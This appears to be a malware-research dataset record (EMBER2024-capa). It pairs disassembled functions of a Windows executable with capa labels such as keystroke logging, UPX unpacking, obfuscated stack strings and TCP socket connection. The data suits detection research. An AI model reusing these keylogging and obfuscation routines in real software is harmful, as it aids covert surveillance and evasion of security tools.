joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4156f0
Capabilities:
Get geographical location

Disassembly:
mov eax, dword [0x41d4a0]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push edi
test eax, eax
jne 0x415738
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41571c
mov eax, 1
jmp 0x415733
push 0
push 0
push 1
push 0
call esi
test eax, eax
je 0x415818
mov eax, 2
mov dword [0x41d4a0], eax
cmp eax, 2
jne 0x415758
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 1
jne 0x41582a
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x415773
mov ecx, dword [0x41d3d0]
mov dword [esp + 0x24], ecx
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push 0
push 0
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov edi, eax
test edi, edi
jne 0x415792
pop edi
pop esi
pop ebp
pop ebx
ret
lea edx, [edi + edi]
push edx
call fcn.0040e6b0
mov esi, eax
add esp, 4
test esi, esi
jne 0x4157a9
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push esi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41580f
mov eax, dword [esp + 0x20]
push 0
test eax, eax
push 0
jne 0x4157f0
mov eax, dword [esp + 0x2c]
push 0
push 0
push 0xffffffffffffffff
push esi
push 0x220
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x41580f
push esi
call fcn.00408650
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x2c]
push eax
push ecx
push 0xffffffffffffffff
push esi
push 0x220
push edx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jne 0x41581f
push esi
call fcn.00408650
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call fcn.00408650
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x479f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6d000]
push edi
jmp 0x479f3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x479f41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x479f30
mov eax, 1
add ebx, ebx
jne 0x479f53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x479f64
jne 0x479f83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x479f83
dec eax
add ebx, ebx
jne 0x479f70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x479f48
add ebx, ebx
jne 0x479f7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x479fd5
xor ecx, ecx
sub eax, 3
jb 0x479f9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47a00a
sar eax, 1
mov ebp, eax
jmp 0x479fa6
add ebx, ebx
jne 0x479fa6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x479f74
inc ecx
add ebx, ebx
jne 0x479fb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x479f74
add ebx, ebx
jne 0x479fc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x479fb6
jne 0x479fd2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x479fb6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x479ff4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x479fe6
jmp 0x479f36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x479ff4
add edi, ecx
jmp 0x479f36
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x47a012
cmp byte [edi], 9
jne 0x47a012
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x47a017
lea edi, [esi + 0x77000]
mov eax, dword [edi]
or eax, eax
je 0x47a08f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd5a1c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd5afc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47a044
mov ecx, edi
jns 0x47a073
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd5b04]
or eax, eax
je 0x47a089
mov dword [ebx], eax
add ebx, 4
jmp 0x47a061
call dword [esi + 0xd5b00]
mov ebp, dword [esi + 0xd5b08]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x47a0c3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x403000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
mov byte [ebp - 2], dl
lea ebx, [ebp - 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
lea ebx, [ebp - 0x134]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.Serxiev
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2c]
mov ecx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x134]
and ecx, 3
push edx
push eax
rep movsb byte es:[edi], byte [esi]
push closesocket
call dword [ebp - 0x30]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x40315d
push dword [ebp - 0x2c]
call dword [ebp - 0x28]
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x403b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x4055a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055be
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401160
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401179
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40118d
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4011ae
cmp esi, eax
jae 0x401187
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4011a0
cmp esi, eax
jae 0x401187
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401380
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
cmp eax, 0x204
je 0x401396
cmp eax, 0xa4
jne 0x40141a
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 8
test al, al
je 0x40141a
mov al, byte [0x47d448]
test al, al
jne 0x4013f3
xor eax, eax
inc byte [eax + 0x47a140]
inc eax
cmp eax, 0xc
jb 0x4013b0
xor eax, eax
mov edi, edi
inc byte [eax + 0x47a134]
inc eax
cmp eax, 0xb
jb 0x4013c0
xor eax, eax
mov edi, edi
inc byte [eax + 0x47a124]
inc eax
cmp eax, 0xd
jb 0x4013d0
xor eax, eax
mov edi, edi
inc byte [eax + 0x47a0c8]
inc eax
cmp eax, 0x5a
jb 0x4013e0
mov byte [0x47d448], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x47d444]
mov ecx, eax
sub ecx, edx
cmp ecx, 0x3e8
mov dword [0x47d444], eax
jbe 0x40141d
mov dword [0x47d440], 0
xor eax, eax
ret
mov eax, dword [0x47d440]
inc eax
cmp eax, 8
mov dword [0x47d440], eax
jl 0x40141a
call dword [fcn.0047a0c0]
call fcn.0045570b
test eax, eax
je 0x401447
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x74]
test eax, eax
jne 0x40144b
xor eax, eax
jmp 0x40144e
mov eax, dword [eax + 0x1c]
push 0x40
push 0x47a124
push 0x47a0c8
push eax
push 0x47a140
push 0x47a134
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov eax, 1
ret

Function at 0x405840
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push edi
mov edi, dword [esp + 0xc]
test edi, edi
je 0x405874
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
movzx ebp, byte [edx]
mov ebx, eax
and ebx, 0xff
xor ebx, ebp
mov ebp, dword [ecx + ebx*4]
shr eax, 8
xor eax, ebp
inc edx
dec edi
mov dword [esi], eax
jne 0x405854
pop esi
pop ebp
pop ebx
pop edi
ret 0xc
Function at 0x405b00
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
push esi
push edi
mov eax, ecx
xor ebx, ebx
xor edx, edx
test bl, 1
je 0x405b13
mov edx, 0x80
mov ecx, ebx
shr ecx, 1
test cl, 1
je 0x405b1f
or edx, 0x40
shr ecx, 1
test cl, 1
je 0x405b29
or edx, 0x20
shr ecx, 1
test cl, 1
je 0x405b33
or edx, 0x10
shr ecx, 1
test cl, 1
je 0x405b3d
or edx, 8
shr ecx, 1
test cl, 1
je 0x405b47
or edx, 4
shr ecx, 1
test cl, 1
je 0x405b51
or edx, 2
test cl, 2
je 0x405b59
or edx, 1
shl edx, 0x18
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add edx, edx
and ecx, 0x4c11db7
xor ecx, edx
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
add ecx, ecx
and edx, 0x4c11db7
xor edx, ecx
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add edx, edx
and ecx, 0x4c11db7
xor ecx, edx
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
add ecx, ecx
and edx, 0x4c11db7
xor edx, ecx
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add edx, edx
and ecx, 0x4c11db7
xor ecx, edx
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
add ecx, ecx
and edx, 0x4c11db7
xor edx, ecx
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add edx, edx
and ecx, 0x4c11db7
xor ecx, edx
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
add ecx, ecx
and edx, 0x4c11db7
xor edx, ecx
mov dword [eax + ebx*4], edx
xor esi, esi
mov ecx, 0x1f
test dl, 1
je 0x405c24
mov edi, 1
shl edi, cl
or esi, edi
shr edx, 1
dec ecx
cmp ecx, 0xffffffff
jg 0x405c16
mov dword [eax + ebx*4], esi
inc ebx
cmp ebx, 0xff
jle 0x405b07
pop edi
pop esi
pop ebx
ret

Function at 0x405c40
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
push esi
push edi
mov edi, dword [esp + 0x10]
test edi, edi
mov esi, ecx
je 0x405d3f
mov ebp, dword [esp + 0x14]
test ebp, ebp
je 0x405d3f
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x405c8e
lea ecx, [esp + 0x10]
push ecx
push ebp
push edi
mov ecx, esi
mov dword [esp + 0x1c], 0xffffffff
call fcn.00405840
mov eax, dword [esp + 0x10]
pop edi
pop esi
not eax
pop ebp
ret 0xc
push ebx
push 0x21c
call fcn.004556d6
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x405cb3
mov ecx, 0x87
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14]
jmp 0x405cb5
xor ebx, ebx
lea edx, [esp + 0x18]
push edx
push 4
push ebx
push 0x405880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [esp + 0x14], eax
je 0x405d2b
push ebp
mov dword [ebx], esi
mov word [ebx + 4], 0
call fcn.00455701
mov dword [ebx + 0x20c], eax
mov esi, edi
mov edi, eax
mov ecx, ebp
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
add esp, 4
push eax
mov dword [ebx + 0x210], ebp
mov dword [ebx + 0x214], ecx
mov dword [ebx + 0x218], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x14]
pop ebx
pop edi
pop esi
pop ebp
ret 0xc
push ebx
call fcn.00455706
mov eax, dword [esp + 0x18]
add esp, 4
pop ebx
pop edi
pop esi
pop ebp
ret 0xc
pop edi
pop esi
xor eax, eax
pop ebp
ret 0xc
Function at 0x405de0
Capabilities:
Check if file exists

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x461b5b
push eax
mov dword fs:[0], esp
sub esp, 0x414
push esi
mov esi, dword [esp + 0x428]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x405e2b
mov eax, 1
pop esi
mov ecx, dword [esp + 0x414]
mov dword fs:[0], ecx
add esp, 0x420
ret 0xc
push edi
lea ecx, [esp + 0xc]
call fcn.00456608
xor edi, edi
push edi
push edi
push esi
lea ecx, [esp + 0x18]
mov dword [esp + 0x430], edi
call fcn.004568a4
test eax, eax
lea ecx, [esp + 0xc]
jne 0x405e6c
mov dword [esp + 0x424], 0xffffffff
call fcn.00456647
mov eax, 1
jmp 0x405f3a
push ebx
call fcn.00456500
mov ebx, dword [esp + 0x434]
cmp eax, ebx
je 0x405e9b
lea ecx, [esp + 0x10]
mov dword [esp + 0x428], 0xffffffff
call fcn.00456647
mov eax, 1
jmp 0x405f39
push ebp
push 0x10000
mov dword [esp + 0x14], 0xffffffff
call fcn.00455701
add esp, 4
lea ecx, [esp + 0x24]
mov ebp, eax
call fcn.00405b00
cmp ebx, edi
jbe 0x405ef2
mov esi, ebx
sub esi, edi
cmp esi, 0x10000
jb 0x405ed1
mov esi, 0x10000
push esi
push ebp
lea ecx, [esp + 0x1c]
call fcn.0045631b
lea eax, [esp + 0x10]
push eax
push esi
push ebp
lea ecx, [esp + 0x30]
call fcn.00405840
add edi, esi
cmp edi, ebx
jb 0x405ec0
mov ecx, dword [esp + 0x10]
not ecx
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x14]
call fcn.004565a6
push ebp
call fcn.00455706
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x440]
xor edx, edx
add esp, 4
cmp eax, ecx
setne dl
lea ecx, [esp + 0x14]
mov dword [esp + 0x42c], 0xffffffff
mov esi, edx
call fcn.00456647
mov eax, esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x420
ret 0xc
Function at 0x409440
Capabilities:
Resume thread

Disassembly:
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x10088]
cmp esi, dword [edi + 0x1008c]
je 0x409480
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x40945e
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x409473
mov edx, dword [ecx]
push 1
call dword [edx + 4]
mov dword [esi + 0x1c], 0
mov eax, dword [edi + 0x1008c]
add esi, 0x38
cmp esi, eax
jne 0x409452
mov eax, dword [edi + 0x4c]
lea ecx, [edi + 0x4c]
call dword [eax + 0xc]
mov ecx, dword [edi + 0x2c]
push 0
push 0
push 0x466
push ecx
call dword [sym.imp.USER32.dll_PostThreadMessageW]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [edi + 0x28]
push edx
call esi
test eax, eax
jne 0x4094a2
pop edi
pop esi
ret

Function at 0x409560
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x462057
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0xc], eax
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov byte [esp + 0x14], 1
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x2c], eax
mov byte [esp + 0x14], 2
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x30], eax
mov byte [esp + 0x14], 3
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x34], eax
mov ecx, esi
mov byte [esp + 0x14], 4
mov dword [esi], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x18], edi
call fcn.004094e0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x409660
Capabilities:
Terminate thread

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00409440
mov eax, dword [esi + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push eax
call edi
cmp eax, 0x102
jne 0x409692
mov ecx, dword [esi + 0x28]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [esi + 0x28]
push 0xffffffffffffffff
push edx
call edi
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 4]
pop edi
pop esi
ret
Function at 0x40a9e0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push 0xffffffffffffffff
push 0x462208
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0xc]
call fcn.00409560
push eax
lea ecx, [edi + 0x10084]
mov dword [esp + 0x50], 0
call fcn.0040a7b0
lea ecx, [esp + 0xc]
mov dword [esp + 0x4c], 0xffffffff
call fcn.00406150
mov esi, dword [edi + 0x1008c]
mov ebx, dword [esp + 0x58]
sub esi, 0x38
test ebx, ebx
je 0x40aa46
cmp word [ebx], 0
je 0x40aa46
xor eax, eax
jmp 0x40aa4b
mov eax, 1
mov dword [esi], eax
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x40aa98
add edi, 0x10064
mov dword [esp + 0x58], edi
push edi
mov edi, dword [esp + 0x5c]
mov ecx, dword [edi]
mov eax, SysReAllocString
imul edx, ecx, 0x8088405
inc edx
mov dword [edi], edx
mul edx
mov dword [esp + 0x60], edx
pop edi
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x54]
push eax
push ecx
lea edx, [esi + 0xc]
push str._s_FileID_d
push edx
call fcn.004023d0
add esp, 0x10
jmp 0x40aaae
mov eax, dword [esp + 0x54]
push eax
lea ecx, [esi + 0xc]
push 0x46752c
push ecx
call fcn.004023d0
add esp, 0xc
test ebx, ebx
lea edi, [esi + 0x2c]
jne 0x40aab9
xor eax, eax
jmp 0x40aac2
push ebx
call fcn.0042a6a5
add esp, 4
push eax
push ebx
mov ecx, edi
call fcn.00401c50
mov ecx, dword [esp + 0x44]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x44
ret 0xc
Function at 0x40b170
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4622ad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov dword [esi + 4], 0x467550
xor ebx, ebx
mov dword [esi + 8], ebx
lea ecx, [esi + 0x1c]
push edi
mov dword [esi], 0x46762c
mov dword [esi + 4], 0x46761c
push 3
mov dword [esp + 0x10], esi
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.0040ae20
mov dword [esp + 0x1c], ebx
mov dword [esi + 0x44], ebx
mov byte [esp + 0x1c], 1
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x4c], eax
mov byte [esp + 0x1c], 2
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x50], eax
mov byte [esp + 0x1c], 3
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi + 0x54], eax
lea edi, [esi + 0x58]
mov dword [edi + 4], ebx
lea ecx, [edi + 0x14]
mov byte [esp + 0x1c], 4
mov dword [esp + 0x10], edi
mov dword [edi], 0x467604
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], ebx
call fcn.00456608
mov byte [esp + 0x1c], 5
call fcn.00456047
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [edi + 0x24], eax
mov byte [edi + 0x28], bl
mov dword [edi + 0x2c], ebx
mov edx, dword [esi + 8]
mov eax, dword [edi]
inc edx
push edi
mov byte [esp + 0x20], 6
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov byte [esi + 0x18], bl
mov byte [esi + 0xc], bl
mov dword [esi + 0x48], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 8], edx
call dword [eax + 4]
mov dword [esi + 0x60], esi
mov dword [esi + 0x30], ebx
mov ecx, dword [esp + 0x14]
mov dword [esi + 0x34], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x38], ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret